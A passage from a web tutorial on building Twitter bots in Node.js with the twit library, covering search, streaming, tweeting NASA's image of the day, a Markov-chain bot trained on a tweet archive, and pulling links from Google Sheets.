  <span class="hljs-attr">in_reply_to_status_id</span>: <span class="hljs-string">'860900406381211649'</span>
}, <span class="hljs-function">(<span class="hljs-params">err, data, response</span>) =&gt;</span> {
  <span class="hljs-keyword">if</span> (err) {
    <span class="hljs-built_in">console</span>.log(err)
  } <span class="hljs-keyword">else</span> {
    <span class="hljs-built_in">console</span>.log(<span class="hljs-string">`<span class="hljs-subst">${data.text}</span> tweeted!`</span>)
  }
})
</code></pre>
<p>Finally, if you want to delete a tweet, use <code>.post('statuses/destroy/:id'...</code> by passing the tweet id you want to delete.</p>
<pre><code class="lang-js">bot.post(<span class="hljs-string">'statuses/destroy/:id'</span>, {
  <span class="hljs-attr">id</span>: <span class="hljs-string">'860900437993676801'</span>
}, <span class="hljs-function">(<span class="hljs-params">err, data, response</span>) =&gt;</span> {
  <span class="hljs-keyword">if</span> (err) {
    <span class="hljs-built_in">console</span>.log(err)
  } <span class="hljs-keyword">else</span> {
    <span class="hljs-built_in">console</span>.log(<span class="hljs-string">`<span class="hljs-subst">${data.text}</span> tweet deleted!`</span>)
  }
})
</code></pre>
<h3 id="heading-use-twitter-search">Use Twitter search</h3>
<p>To use search, use <code>.get('search/tweets',...</code>. There are quite a few search parameters for search.</p>
<p>The structure is <code>q: ''</code> where the q is for query. You would use <code>q: 'mango'</code> to search for mango. We can also limit the results returned with <code>count: n</code> so let's limit the count to 5 in the example.</p>
<pre><code class="lang-js">bot.get(<span class="hljs-string">'search/tweets'</span>, {
  <span class="hljs-attr">q</span>: <span class="hljs-string">'mango'</span>,
  <span class="hljs-attr">count</span>: <span class="hljs-number">5</span>
}, <span class="hljs-function">(<span class="hljs-params">err, data, response</span>) =&gt;</span> {
  <span class="hljs-keyword">if</span> (err) {
    <span class="hljs-built_in">console</span>.log(err)
  } <span class="hljs-keyword">else</span> {
    <span class="hljs-built_in">console</span>.log(data.statuses)
  }
})
</code></pre>
<p>Like we did with the timeline we will pull out specific items from the <code>data.statuses</code> returned, like this:</p>
<pre><code class="lang-js">bot.get(<span class="hljs-string">'search/tweets'</span>, {
  <span class="hljs-attr">q</span>: <span class="hljs-string">'mango'</span>,
  <span class="hljs-attr">count</span>: <span class="hljs-number">5</span>
}, <span class="hljs-function">(<span class="hljs-params">err, data, response</span>) =&gt;</span> {
  <span class="hljs-keyword">if</span> (err) {
    <span class="hljs-built_in">console</span>.log(err)
  } <span class="hljs-keyword">else</span> {
    data.statuses.forEach(<span class="hljs-function"><span class="hljs-params">s</span> =&gt;</span> {
      <span class="hljs-built_in">console</span>.log(s.text)
      <span class="hljs-built_in">console</span>.log(s.user.screen_name)
      <span class="hljs-built_in">console</span>.log(<span class="hljs-string">'\n'</span>)
    })
  }
})
</code></pre>
<p>The search API returns results for relevance and not completeness. If you want to search for an exact phrase, you’ll need to wrap the query in quotes <code>"purple pancakes"</code>. If you want to search for one of two words, then use <code>OR</code> like <code>'tabs OR spaces'</code>. And if you want to search for both, use <code>AND</code> like <code>'tabs AND spaces'</code>.</p>
<p>If you want to search for a tweet without another word use <code>-</code> like <code>donald -trump</code>. You can use it multiple times as well, like <code>donald -trump -duck</code></p>
<p>You can search for tweets with emoticons, like <code>q: 'sad :('</code> try it!</p>
<p>Of course, you can look for hashtags <code>q: '#towie'</code>. Look for tweets to a user <code>q: 'to:@stephenfry'</code> or from a user <code>q: 'from:@stephenfry'</code></p>
<p>You can filter out indecent tweets with the <code>filter:safe</code> parameter. You can also use it to filter for <code>media</code> tweets which will return tweets containing video. You can specify for <code>images</code> to view tweets with images and you can specify <code>links</code> for tweets with links.</p>
<p>If you want tweets from a certain website, you can specify with the <code>url</code> parameter like <code>url:asda</code></p>
<pre><code class="lang-js">bot.get(<span class="hljs-string">'search/tweets'</span>, {
  <span class="hljs-attr">q</span>: <span class="hljs-string">'from:@dan_abramov url:facebook filter:images since:2017-01-01'</span>,
  <span class="hljs-attr">count</span>: <span class="hljs-number">5</span>
}, <span class="hljs-function">(<span class="hljs-params">err, data, response</span>) =&gt;</span> {
  <span class="hljs-keyword">if</span> (err) {
    <span class="hljs-built_in">console</span>.log(err)
  } <span class="hljs-keyword">else</span> {
    data.statuses.forEach(<span class="hljs-function"><span class="hljs-params">s</span> =&gt;</span> {
      <span class="hljs-built_in">console</span>.log(s.text)
      <span class="hljs-built_in">console</span>.log(s.user.screen_name)
      <span class="hljs-built_in">console</span>.log(<span class="hljs-string">'\n'</span>)
    })
  }
})
</code></pre>
<p>Last few now, there’s the <code>result_type</code> parameter that will return <code>recent</code>, <code>popular</code>, or <code>mixed</code> results.</p>
<p>The <code>geocode</code> parameter takes the format latitude longitude then radius in miles <code>'51.5033640,-0.1276250,1mi'</code> example:</p>
<pre><code class="lang-js">bot.get(<span class="hljs-string">'search/tweets'</span>, {
  <span class="hljs-attr">q</span>: <span class="hljs-string">'bacon'</span>,
  <span class="hljs-attr">geocode</span>: <span class="hljs-string">'51.5033640,-0.1276250,1mi'</span>,
  <span class="hljs-attr">count</span>: <span class="hljs-number">5</span>
}, <span class="hljs-function">(<span class="hljs-params">err, data, response</span>) =&gt;</span> {
  <span class="hljs-keyword">if</span> (err) {
    <span class="hljs-built_in">console</span>.log(err)
  } <span class="hljs-keyword">else</span> {
    data.statuses.forEach(<span class="hljs-function"><span class="hljs-params">s</span> =&gt;</span> {
      <span class="hljs-built_in">console</span>.log(s.text)
      <span class="hljs-built_in">console</span>.log(s.user.screen_name)
      <span class="hljs-built_in">console</span>.log(<span class="hljs-string">'\n'</span>)
    })
  }
})
</code></pre>
<h3 id="heading-use-twitter-stream-api">Use Twitter Stream API</h3>
<p>There are two ways to use the Stream API. First, there’s <code>.stream('statuses/sample')</code>.</p>
<pre><code class="lang-js"><span class="hljs-keyword">const</span> stream = bot.stream(<span class="hljs-string">'statuses/sample'</span>);

stream.on(<span class="hljs-string">'tweet'</span>, <span class="hljs-function"><span class="hljs-params">t</span> =&gt;</span> {
  <span class="hljs-built_in">console</span>.log(<span class="hljs-string">`<span class="hljs-subst">${t.text}</span>\n`</span>)
})
</code></pre>
<p>This will give you a random sampling of tweets.</p>
<p>For more specific information use <code>.stream('statuses/filter')...</code> then pass some parameters, and use <code>track:</code> to specify a search string.</p>
<pre><code class="lang-js"><span class="hljs-keyword">var</span> stream = bot.stream(<span class="hljs-string">'statuses/filter'</span>, {
  <span class="hljs-attr">track</span>: <span class="hljs-string">'bot'</span>
})

stream.on(<span class="hljs-string">'tweet'</span>, <span class="hljs-function"><span class="hljs-keyword">function</span> (<span class="hljs-params">t</span>) </span>{
  <span class="hljs-built_in">console</span>.log(t.text + <span class="hljs-string">'\n'</span>)
})
</code></pre>
<p>You can also use multiple words in the <code>track</code> parameter, this will get you results with either <code>twitter</code> or <code>bot</code> in them.</p>
<pre><code class="lang-js"><span class="hljs-keyword">const</span> stream = bot.stream(<span class="hljs-string">'statuses/filter'</span>, {
  <span class="hljs-attr">track</span>: <span class="hljs-string">'twitter, bot'</span>
});

stream.on(<span class="hljs-string">'tweet'</span>, <span class="hljs-function"><span class="hljs-params">t</span> =&gt;</span> {
  <span class="hljs-built_in">console</span>.log(<span class="hljs-string">`<span class="hljs-subst">${t.text}</span>\n`</span>)
})
</code></pre>
<p>If you want both words, then remove the comma <code>,</code> — you can think of spaces as <code>AND</code> and commas as <code>OR</code>.</p>
<p>You can also use the <code>follow:</code> parameter which lets you input the ids of specific users.</p>
<pre><code class="lang-js"><span class="hljs-keyword">const</span> stream = bot.stream(<span class="hljs-string">'statuses/filter'</span>, {
  <span class="hljs-attr">follow</span>: <span class="hljs-string">'4897735439'</span>
});

stream.on(<span class="hljs-string">'tweet'</span>, <span class="hljs-function"><span class="hljs-params">t</span> =&gt;</span> {
  <span class="hljs-built_in">console</span>.log(<span class="hljs-string">`<span class="hljs-subst">${t.text}</span>\n`</span>)
})
</code></pre>
<h3 id="heading-tweet-media-files">Tweet media files</h3>
<p>This <a target="_blank" href="https://egghead.io/lessons/node-js-tweet-media-files-with-twit-js">egghead.io</a> video is a great resource for this section thanks to <a target="_blank" href="https://egghead.io/instructors/hannah-davis">Hannah Davis</a> for the awesome content!</p>
<p>This will be a request to get the <a target="_blank" href="https://www.nasa.gov/multimedia/imagegallery/iotd.html">NASA image of the day</a> and tweet it.</p>
<p>We will need references to <code>request</code> and <code>fs</code> for working with the file system.</p>
<pre><code class="lang-js"><span class="hljs-keyword">const</span> Twit = <span class="hljs-built_in">require</span>(<span class="hljs-string">'twit'</span>)
<span class="hljs-keyword">const</span> request = <span class="hljs-built_in">require</span>(<span class="hljs-string">'request'</span>)
<span class="hljs-keyword">const</span> fs = <span class="hljs-built_in">require</span>(<span class="hljs-string">'fs'</span>)
<span class="hljs-keyword">const</span> config = <span class="hljs-built_in">require</span>(<span class="hljs-string">'./config'</span>)

<span class="hljs-keyword">const</span> bot = <span class="hljs-keyword">new</span> Twit(config)
</code></pre>
<p>The first step is to get the photo from the NASA API. We will need to create a parameter object inside our <code>getPhoto</code> function that will be passed to the node HTTP client <code>request</code> for the image.</p>
<pre><code class="lang-js"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">getPhoto</span>(<span class="hljs-params"></span>) </span>{
  <span class="hljs-keyword">const</span> parameters = {
    <span class="hljs-attr">url</span>: <span class="hljs-string">'https://api.nasa.gov/planetary/apod'</span>,
    <span class="hljs-attr">qs</span>: {
      <span class="hljs-attr">api_key</span>: process.env.NASA_KEY
    },
    <span class="hljs-attr">encoding</span>: <span class="hljs-string">'binary'</span>
  };
}
</code></pre>
<p>The <code>parameters</code> specify an <code>api_key</code> so for this you can <a target="_blank" href="https://api.nasa.gov/index.html#apply-for-an-api-key">apply for an API key</a> or you can use the <code>DEMO_KEY</code>. This API key can be used for initially exploring APIs prior to signing up, but it has much lower rate limits, so you’re encouraged to signup for your own API key.</p>
<p>In the example, you can see that I have configured my key with the rest of my <code>.env</code> variables.</p>
<pre><code class="lang-js">CONSUMER_KEY=AmMSbxxxxxxxxxxNh4BcdMhxg
CONSUMER_SECRET=eQUfMrHbtlxxxxxxxxxxkFNNj1H107xxxxxxxxxx6CZH0fjymV
ACCESS_TOKEN=<span class="hljs-number">7</span>xxxxx492-uEcacdl7HJxxxxxxxxxxecKpi90bFhdsGG2N7iII
ACCESS_TOKEN_SECRET=<span class="hljs-number">77</span>vGPTt20xxxxxxxxxxxZAU8wxxxxxxxxxx0PhOo43cGO

NASA_KEY=DEMO_KEY
</code></pre>
<p>Now to use the <code>request</code> to get the image:</p>
<pre><code class="lang-js"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">getPhoto</span>(<span class="hljs-params"></span>) </span>{
  <span class="hljs-keyword">const</span> parameters = {
    <span class="hljs-attr">url</span>: <span class="hljs-string">'https://api.nasa.gov/planetary/apod'</span>,
    <span class="hljs-attr">qs</span>: {
      <span class="hljs-attr">api_key</span>: process.env.NASA_KEY
    },
    <span class="hljs-attr">encoding</span>: <span class="hljs-string">'binary'</span>
  };
  request.get(parameters, <span class="hljs-function">(<span class="hljs-params">err, respone, body</span>) =&gt;</span> {
    body = <span class="hljs-built_in">JSON</span>.parse(body)
    saveFile(body, <span class="hljs-string">'nasa.jpg'</span>)
  })
}
</code></pre>
<p>In the <code>request</code>, we pass in our parameters and parse the body as JSON so we can save it with the <code>saveFile</code> function.</p>
<pre><code class="lang-js"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">saveFile</span>(<span class="hljs-params">body, fileName</span>) </span>{
  <span class="hljs-keyword">const</span> file = fs.createWriteStream(fileName);
  request(body).pipe(file).on(<span class="hljs-string">'close'</span>, <span class="hljs-function"><span class="hljs-params">err</span> =&gt;</span> {
    <span class="hljs-keyword">if</span> (err) {
      <span class="hljs-built_in">console</span>.log(err)
    } <span class="hljs-keyword">else</span> {
      <span class="hljs-built_in">console</span>.log(<span class="hljs-string">'Media saved!'</span>)
      <span class="hljs-built_in">console</span>.log(body)
    }
  })
}
</code></pre>
<p><code>request(body).pipe(file).on('close'...</code> is what saves the file from the <code>file</code> variable. It has the name <code>nasa.jpg</code> passed to it from the <code>getPhoto</code> function.</p>
<p>Calling <code>getPhoto()</code> should now save the NASA image of the day to the root of your project.</p>
<p>Now we can share it on Twitter. There are two parts to this, the first is to save the file.</p>
<pre><code class="lang-js"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">saveFile</span>(<span class="hljs-params">body, fileName</span>) </span>{
  <span class="hljs-keyword">const</span> file = fs.createWriteStream(fileName);
  request(body).pipe(file).on(<span class="hljs-string">'close'</span>, <span class="hljs-function"><span class="hljs-params">err</span> =&gt;</span> {
    <span class="hljs-keyword">if</span> (err) {
      <span class="hljs-built_in">console</span>.log(err)
    } <span class="hljs-keyword">else</span> {
      <span class="hljs-built_in">console</span>.log(<span class="hljs-string">'Media saved!'</span>)
      <span class="hljs-keyword">const</span> descriptionText = body.title;
      uploadMedia(descriptionText, fileName)
    }
  })
}
</code></pre>
<p>Then <code>uploadMedia</code> to upload media to Twitter before we can post it. This had me stumped for a bit as I have my files in a <code>src</code>folder. If you have your bot files nested in folders, then you will need to do the same if you are struggling with <code>file does not exist</code> errors.</p>
<p>Add a <code>require</code> to <code>path</code> then use <code>join</code> with the relevant relative file path.</p>
<pre><code class="lang-js"><span class="hljs-keyword">const</span> path = <span class="hljs-built_in">require</span>(<span class="hljs-string">'path'</span>)
<span class="hljs-comment">//...</span>
<span class="hljs-keyword">const</span> filePath = path.join(__dirname, <span class="hljs-string">'../'</span> + fileName)
</code></pre>
<p>Here’s the complete function:</p>
<pre><code class="lang-js"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">uploadMedia</span>(<span class="hljs-params">descriptionText, fileName</span>) </span>{
  <span class="hljs-built_in">console</span>.log(<span class="hljs-string">`uploadMedia: file PATH <span class="hljs-subst">${fileName}</span>`</span>)
  bot.postMediaChunked({
    <span class="hljs-attr">file_path</span>: fileName
  }, <span class="hljs-function">(<span class="hljs-params">err, data, respone</span>) =&gt;</span> {
    <span class="hljs-keyword">if</span> (err) {
      <span class="hljs-built_in">console</span>.log(err)
    } <span class="hljs-keyword">else</span> {
      <span class="hljs-built_in">console</span>.log(data)
      <span class="hljs-keyword">const</span> params = {
        <span class="hljs-attr">status</span>: descriptionText,
        <span class="hljs-attr">media_ids</span>: data.media_id_string
      }
      postStatus(params)
    }
  })
}
</code></pre>
<p>Then with the <code>params</code> we created in <code>uploadMedia</code> we can post with a straightforward <code>.post('statuses/update'...</code></p>
<pre><code class="lang-js"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">postStatus</span>(<span class="hljs-params">params</span>) </span>{
  bot.post(<span class="hljs-string">'statuses/update'</span>, params, <span class="hljs-function">(<span class="hljs-params">err, data, respone</span>) =&gt;</span> {
    <span class="hljs-keyword">if</span> (err) {
      <span class="hljs-built_in">console</span>.log(err)
    } <span class="hljs-keyword">else</span> {
      <span class="hljs-built_in">console</span>.log(<span class="hljs-string">'Status posted!'</span>)
    }
  })
}
</code></pre>
<p>Call the <code>getPhoto()</code> function to post to Twitter... super straight forward, right? I know it wasn't. Here’s the complete module:</p>
<pre><code class="lang-js"><span class="hljs-keyword">const</span> Twit = <span class="hljs-built_in">require</span>(<span class="hljs-string">'twit'</span>)
<span class="hljs-keyword">const</span> request = <span class="hljs-built_in">require</span>(<span class="hljs-string">'request'</span>)
<span class="hljs-keyword">const</span> fs = <span class="hljs-built_in">require</span>(<span class="hljs-string">'fs'</span>)
<span class="hljs-keyword">const</span> config = <span class="hljs-built_in">require</span>(<span class="hljs-string">'./config'</span>)
<span class="hljs-keyword">const</span> path = <span class="hljs-built_in">require</span>(<span class="hljs-string">'path'</span>)

<span class="hljs-keyword">const</span> bot = <span class="hljs-keyword">new</span> Twit(config)

<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">getPhoto</span>(<span class="hljs-params"></span>) </span>{
  <span class="hljs-keyword">const</span> parameters = {
    <span class="hljs-attr">url</span>: <span class="hljs-string">'https://api.nasa.gov/planetary/apod'</span>,
    <span class="hljs-attr">qs</span>: {
      <span class="hljs-attr">api_key</span>: process.env.NASA_KEY
    },
    <span class="hljs-attr">encoding</span>: <span class="hljs-string">'binary'</span>
  }
  request.get(parameters, <span class="hljs-function">(<span class="hljs-params">err, respone, body</span>) =&gt;</span> {
    body = <span class="hljs-built_in">JSON</span>.parse(body)
    saveFile(body, <span class="hljs-string">'nasa.jpg'</span>)
  })
}

<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">saveFile</span>(<span class="hljs-params">body, fileName</span>) </span>{
  <span class="hljs-keyword">const</span> file = fs.createWriteStream(fileName)
  request(body).pipe(file).on(<span class="hljs-string">'close'</span>, <span class="hljs-function"><span class="hljs-params">err</span> =&gt;</span> {
    <span class="hljs-keyword">if</span> (err) {
      <span class="hljs-built_in">console</span>.log(err)
    } <span class="hljs-keyword">else</span> {
      <span class="hljs-built_in">console</span>.log(<span class="hljs-string">'Media saved!'</span>)
      <span class="hljs-keyword">const</span> descriptionText = body.title
      uploadMedia(descriptionText, fileName)
    }
  })
}

<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">uploadMedia</span>(<span class="hljs-params">descriptionText, fileName</span>) </span>{
  <span class="hljs-keyword">const</span> filePath = path.join(__dirname, <span class="hljs-string">`../<span class="hljs-subst">${fileName}</span>`</span>)
  <span class="hljs-built_in">console</span>.log(<span class="hljs-string">`file PATH <span class="hljs-subst">${filePath}</span>`</span>)
  bot.postMediaChunked({
    <span class="hljs-attr">file_path</span>: filePath
  }, <span class="hljs-function">(<span class="hljs-params">err, data, respone</span>) =&gt;</span> {
    <span class="hljs-keyword">if</span> (err) {
      <span class="hljs-built_in">console</span>.log(err)
    } <span class="hljs-keyword">else</span> {
      <span class="hljs-built_in">console</span>.log(data)
      <span class="hljs-keyword">const</span> params = {
        <span class="hljs-attr">status</span>: descriptionText,
        <span class="hljs-attr">media_ids</span>: data.media_id_string
      }
      postStatus(params)
    }
  })
}

<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">postStatus</span>(<span class="hljs-params">params</span>) </span>{
  bot.post(<span class="hljs-string">'statuses/update'</span>, params, <span class="hljs-function">(<span class="hljs-params">err, data, respone</span>) =&gt;</span> {
    <span class="hljs-keyword">if</span> (err) {
      <span class="hljs-built_in">console</span>.log(err)
    } <span class="hljs-keyword">else</span> {
      <span class="hljs-built_in">console</span>.log(<span class="hljs-string">'Status posted!'</span>)
    }
  })
}

getPhoto()
</code></pre>
<h3 id="heading-make-a-markov-bot">Make a Markov bot</h3>
<p>This is pretty neat, again from the <a target="_blank" href="https://egghead.io/lessons/node-js-make-a-bot-that-sounds-like-you-with-rita-js?series=create-your-own-twitter-bots">egghead.io</a> series it uses <code>[rita](https://www.npmjs.com/package/rita)</code> natural language toolkit. It also uses <code>csv-parse</code> as we're going to be reading out our Twitter archive to make the bot sound like it’s us tweeting.</p>
<p>First of all, to set up the <a target="_blank" href="https://support.twitter.com/articles/20170160">Twitter archive</a>, you’ll need to request your data from the Twitter settings page. You’ll be emailed a link to download your archive, then when you have downloaded the archive extract out the <code>tweets.csv</code> file, we'll then put that in it's own folder, so from the root of your project:</p>
<pre><code class="lang-bash"><span class="hljs-built_in">cd</span> src
mkdir twitter-archive
</code></pre>
<p>We’ll move our <code>tweets.csv</code> there to be accessed by the bot we're going to go over now.</p>
<p>Use <code>fs</code> to set up a read stream...</p>
<pre><code class="lang-js"><span class="hljs-keyword">const</span> filePath = path.join(__dirname, <span class="hljs-string">'./twitter-archive/tweets.csv'</span>)

<span class="hljs-keyword">const</span> tweetData =
  fs.createReadStream(filePath)
  .pipe(csvparse({
    <span class="hljs-attr">delimiter</span>: <span class="hljs-string">','</span>
  }))
  .on(<span class="hljs-string">'data'</span>, <span class="hljs-function"><span class="hljs-params">row</span> =&gt;</span> {
    <span class="hljs-built_in">console</span>.log(row[<span class="hljs-number">5</span>])
  })
</code></pre>
<p>When you run this from the console you should get the output from your Twitter archive.</p>
<p>Now clear out things like <code>@</code> and <code>RT</code> to help with the natural language processing. We'll set up two functions <code>cleanText</code> and <code>hasNoStopWords</code></p>
<p><code>cleanText</code> will tokenize the text delimiting it on space <code>' '</code>, filter out the stop words, then <code>.join(' ')</code> back together with a space, and <code>.trim()</code> any whitespace that may be at the start of the text.</p>
<pre><code class="lang-js"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">cleanText</span>(<span class="hljs-params">text</span>) </span>{
  <span class="hljs-keyword">return</span> rita.RiTa.tokenize(text, <span class="hljs-string">' '</span>)
    .filter(hasNoStopWords)
    .join(<span class="hljs-string">' '</span>)
    .trim()
}
</code></pre>
<p>The tokenized text can then be fed into the <code>hasNoStopWords</code> function to be sanitized for use in <code>tweetData</code></p>
<pre><code class="lang-js"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">hasNoStopWords</span>(<span class="hljs-params">token</span>) </span>{
  <span class="hljs-keyword">const</span> stopwords = [<span class="hljs-string">'@'</span>, <span class="hljs-string">'http'</span>, <span class="hljs-string">'RT'</span>];
  <span class="hljs-keyword">return</span> stopwords.every(<span class="hljs-function"><span class="hljs-params">sw</span> =&gt;</span> !token.includes(sw))
}
</code></pre>
<p>Now that we have the data cleaned, we can tweet it. Replace <code>console.log(row[5])</code> with <code>inputText = inputText + ' ' + cleanText(row[5])</code>. Next we can use <code>rita.RiMarkov(3)</code> where the 3 is the number of words to take into consideration. Then use <code>markov.generateSentences(1)</code> where 1 is the number of sentences being generated. We'll also use <code>.toString()</code> and <code>.substring(0, 140)</code> to truncate the result down to 140 characters.</p>
<pre><code class="lang-js"><span class="hljs-keyword">const</span> tweetData =
  fs.createReadStream(filePath)
  .pipe(csvparse({
    <span class="hljs-attr">delimiter</span>: <span class="hljs-string">','</span>
  }))
  .on(<span class="hljs-string">'data'</span>, <span class="hljs-function"><span class="hljs-keyword">function</span> (<span class="hljs-params">row</span>) </span>{
    inputText = <span class="hljs-string">`<span class="hljs-subst">${inputText}</span> <span class="hljs-subst">${cleanText(row[<span class="hljs-number">5</span>])}</span>`</span>
  })
  .on(<span class="hljs-string">'end'</span>, <span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params"></span>)</span>{
    <span class="hljs-keyword">const</span> markov = <span class="hljs-keyword">new</span> rita.RiMarkov(<span class="hljs-number">3</span>)
    markov.loadText(inputText)
    <span class="hljs-keyword">const</span> sentence = markov.generateSentences(<span class="hljs-number">1</span>)
      .toString()
      .substring(<span class="hljs-number">0</span>, <span class="hljs-number">140</span>)
  }
</code></pre>
<p>Now we can tweet this with the bot using <code>.post('statuses/update'...</code>passing in the <code>sentence</code> variable as the <code>status</code> and logging a message to the console when there is a tweet.</p>
<pre><code class="lang-js"><span class="hljs-keyword">const</span> tweetData =
  fs.createReadStream(filePath)
    .pipe(csvparse({
      <span class="hljs-attr">delimiter</span>: <span class="hljs-string">','</span>
    }))
    .on(<span class="hljs-string">'data'</span>, <span class="hljs-function"><span class="hljs-params">row</span> =&gt;</span> {
      inputText = <span class="hljs-string">`<span class="hljs-subst">${inputText}</span> <span class="hljs-subst">${cleanText(row[<span class="hljs-number">5</span>])}</span>`</span>
    })
    .on(<span class="hljs-string">'end'</span>, <span class="hljs-function">() =&gt;</span> {
      <span class="hljs-keyword">const</span> markov = <span class="hljs-keyword">new</span> rita.RiMarkov(<span class="hljs-number">3</span>)
      markov.loadText(inputText)
      <span class="hljs-keyword">const</span> sentence = markov.generateSentences(<span class="hljs-number">1</span>)
        .toString()
        .substring(<span class="hljs-number">0</span>, <span class="hljs-number">140</span>)
      bot.post(<span class="hljs-string">'statuses/update'</span>, {
        <span class="hljs-attr">status</span>: sentence
      }, <span class="hljs-function">(<span class="hljs-params">err, data, response</span>) =&gt;</span> {
        <span class="hljs-keyword">if</span> (err) {
          <span class="hljs-built_in">console</span>.log(err)
        } <span class="hljs-keyword">else</span> {
          <span class="hljs-built_in">console</span>.log(<span class="hljs-string">'Markov status tweeted!'</span>, sentence)
        }
      })
    })
}
</code></pre>
<p>If you want your sentences to be closer to the input text you can increase the words to consider in <code>rita.RiMarkov(6)</code> and if you want to make it gibberish then lower the number.</p>
<p>Here’s the completed module:</p>
<pre><code class="lang-js"><span class="hljs-keyword">const</span> Twit = <span class="hljs-built_in">require</span>(<span class="hljs-string">'twit'</span>)
<span class="hljs-keyword">const</span> fs = <span class="hljs-built_in">require</span>(<span class="hljs-string">'fs'</span>)
<span class="hljs-keyword">const</span> csvparse = <span class="hljs-built_in">require</span>(<span class="hljs-string">'csv-parse'</span>)
<span class="hljs-keyword">const</span> rita = <span class="hljs-built_in">require</span>(<span class="hljs-string">'rita'</span>)
<span class="hljs-keyword">const</span> config = <span class="hljs-built_in">require</span>(<span class="hljs-string">'./config'</span>)
<span class="hljs-keyword">const</span> path = <span class="hljs-built_in">require</span>(<span class="hljs-string">'path'</span>)

<span class="hljs-keyword">let</span> inputText = <span class="hljs-string">''</span>

<span class="hljs-keyword">const</span> bot = <span class="hljs-keyword">new</span> Twit(config)

<span class="hljs-keyword">const</span> filePath = path.join(__dirname, <span class="hljs-string">'../twitter-archive/tweets.csv'</span>)

<span class="hljs-keyword">const</span> tweetData =
  fs.createReadStream(filePath)
    .pipe(csvparse({
      <span class="hljs-attr">delimiter</span>: <span class="hljs-string">','</span>
    }))
    .on(<span class="hljs-string">'data'</span>, <span class="hljs-function"><span class="hljs-params">row</span> =&gt;</span> {
      inputText = <span class="hljs-string">`<span class="hljs-subst">${inputText}</span> <span class="hljs-subst">${cleanText(row[<span class="hljs-number">5</span>])}</span>`</span>
    })
    .on(<span class="hljs-string">'end'</span>, <span class="hljs-function">() =&gt;</span> {
      <span class="hljs-keyword">const</span> markov = <span class="hljs-keyword">new</span> rita.RiMarkov(<span class="hljs-number">10</span>)
      markov.loadText(inputText)
      <span class="hljs-keyword">const</span> sentence = markov.generateSentences(<span class="hljs-number">1</span>)
        .toString()
        .substring(<span class="hljs-number">0</span>, <span class="hljs-number">140</span>)
      bot.post(<span class="hljs-string">'statuses/update'</span>, {
        <span class="hljs-attr">status</span>: sentence
      }, <span class="hljs-function">(<span class="hljs-params">err, data, response</span>) =&gt;</span> {
        <span class="hljs-keyword">if</span> (err) {
          <span class="hljs-built_in">console</span>.log(err)
        } <span class="hljs-keyword">else</span> {
          <span class="hljs-built_in">console</span>.log(<span class="hljs-string">'Markov status tweeted!'</span>, sentence)
        }
      })
    })
}

<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">hasNoStopWords</span>(<span class="hljs-params">token</span>) </span>{
  <span class="hljs-keyword">const</span> stopwords = [<span class="hljs-string">'@'</span>, <span class="hljs-string">'http'</span>, <span class="hljs-string">'RT'</span>]
  <span class="hljs-keyword">return</span> stopwords.every(<span class="hljs-function"><span class="hljs-params">sw</span> =&gt;</span> !token.includes(sw))
}

<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">cleanText</span>(<span class="hljs-params">text</span>) </span>{
  <span class="hljs-keyword">return</span> rita.RiTa.tokenize(text, <span class="hljs-string">' '</span>)
    .filter(hasNoStopWords)
    .join(<span class="hljs-string">' '</span>)
    .trim()
}
</code></pre>
<h3 id="heading-retrieve-and-tweet-data-from-google-sheets">Retrieve and Tweet data from Google sheets</h3>
<p>If you want to tweet a list of links, you can use <code>[tabletop](https://www.npmjs.com/package/tabletop)</code> to work though the list. In this example, again from <a target="_blank" href="https://egghead.io/lessons/node-js-retrieve-and-tweet-information-from-google-spreadsheets">egghead.io</a>, we'll go through a list of links.</p>
<p>So, set up the bot and require <code>tabletop</code>:</p>
<pre><code class="lang-js"><span class="hljs-keyword">const</span> Twit = <span class="hljs-built_in">require</span>(<span class="hljs-string">'twit'</span>)
<span class="hljs-keyword">const</span> config = <span class="hljs-built_in">require</span>(<span class="hljs-string">'./config'</span>)
<span class="hljs-keyword">const</span> Tabletop = <span class="hljs-built_in">require</span>(<span class="hljs-string">'tabletop'</span>)

<span class="hljs-keyword">const</span> bot = <span class="hljs-keyword">new</span> Twit(config)
</code></pre>
<p>On your <code>[Google spreadsheet](https://github.com/spences10/twitter-bot-playground/blob/master/sheets.google.com)</code> you'll need to have a header defined and then add your links, we'll use the following for an example:</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/1*VHZA9dOG2m-3NGpgauqP8A.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>Now from Google sheets we can select ‘File’&gt;’Publish to the web’ and copy the link that is generated to use in tabletop.</p>
<p>Now init <code>Tabletop</code> with three parameters, <code>key:</code> which is the spreadsheet URL, a <code>callback:</code> function to get the data and <code>simpleSheet:</code> which is <code>true</code> if you only have one sheet, like in our example here:</p>
<pre><code class="lang-js"><span class="hljs-keyword">const</span> spreadsheetUrl = <span class="hljs-string">'https://docs.google.com/spreadsheets/d/1842GC9JS9qDWHc-9leZoEn9Q_-jcPUcuDvIqd_MMPZQ/pubhtml'</span>

Tabletop.init({
  <span class="hljs-attr">key</span>: spreadsheetUrl,
  callback(data, tabletop) {
    <span class="hljs-built_in">console</span>.log(data)
  },
  <span class="hljs-attr">simpleSheet</span>: <span class="hljs-literal">true</span>
})
</code></pre>
<p>Running the bot now should give output like this:</p>
<pre><code class="lang-bash">$ node index.js
[ { <span class="hljs-string">'links'</span>: <span class="hljs-string">'https://www.freecodecamp.com'</span> },
  { <span class="hljs-string">'links'</span>: <span class="hljs-string">'https://github.com'</span> },
  { <span class="hljs-string">'links'</span>: <span class="hljs-string">'https://www.reddit.com'</span> },
  { <span class="hljs-string">'links'</span>: <span class="hljs-string">'https://twitter.com'</span> } ]
</code></pre>
